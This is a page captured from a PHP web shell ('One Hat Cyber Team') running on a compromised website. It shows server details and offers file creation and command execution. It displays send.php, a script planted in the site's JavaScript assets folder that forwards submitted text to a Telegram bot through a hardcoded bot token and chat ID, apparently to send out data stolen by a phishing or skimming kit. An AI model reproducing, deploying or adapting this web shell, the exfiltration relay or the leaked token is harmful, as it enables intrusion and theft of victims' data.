One Hat Cyber Team
Your IP :
216.73.216.193
Server IP :
170.247.48.121
Server :
Linux UBAPDWEB9271 3.10.0-1160.71.1.el7.x86_64 #1 SMP Tue Jun 28 15:37:28 UTC 2022 x86_64
Server Software :
Apache
PHP Version :
7.0.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
lelopagani.com.br
/
public
/
assets
/
js
/
View File Name :
send.php
<?php // logapi.php header('Content-Type: application/json'); // Only allow POST if ($_SERVER['REQUEST_METHOD'] !== 'POST') { http_response_code(403); echo json_encode(['status' => 'error', 'message' => 'Forbidden']); exit; } // ================================================ // SECURE TELEGRAM PROXY - send.php // Place your real token and chat_id ONLY here // ================================================ $BOT_TOKEN = "8070169679:AAFJWInJKQLKqXGaGLSwgQU2KlVZ9ZX1bFE"; // ← Your real token (safe here) $CHAT_ID = "-4869967638"; // ← Your real chat id (safe here) if ($_SERVER['REQUEST_METHOD'] !== 'POST') { http_response_code(405); echo json_encode(['ok' => false, 'error' => 'Method not allowed']); exit; } $input = file_get_contents('php://input'); $data = json_decode($input, true); if (!$data || empty($data['text'])) { http_response_code(400); echo json_encode(['ok' => false, 'error' => 'Missing text']); exit; } $text = $data['text']; // Build Telegram API URL $url = "https://api.telegram.org/bot{$BOT_TOKEN}/sendMessage"; // Prepare data $postData = [ 'chat_id' => $CHAT_ID, 'text' => $text, 'parse_mode' => 'HTML' ]; // Send using cURL (more reliable than file_get_contents) $ch = curl_init($url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $postData); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true); // Keep security on curl_setopt($ch, CURLOPT_TIMEOUT, 10); $result = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($httpCode === 200) { echo $result; // Return Telegram's response } else { http_response_code(500); echo json_encode(['ok' => false, 'error' => 'Failed to send to Telegram']); } ?>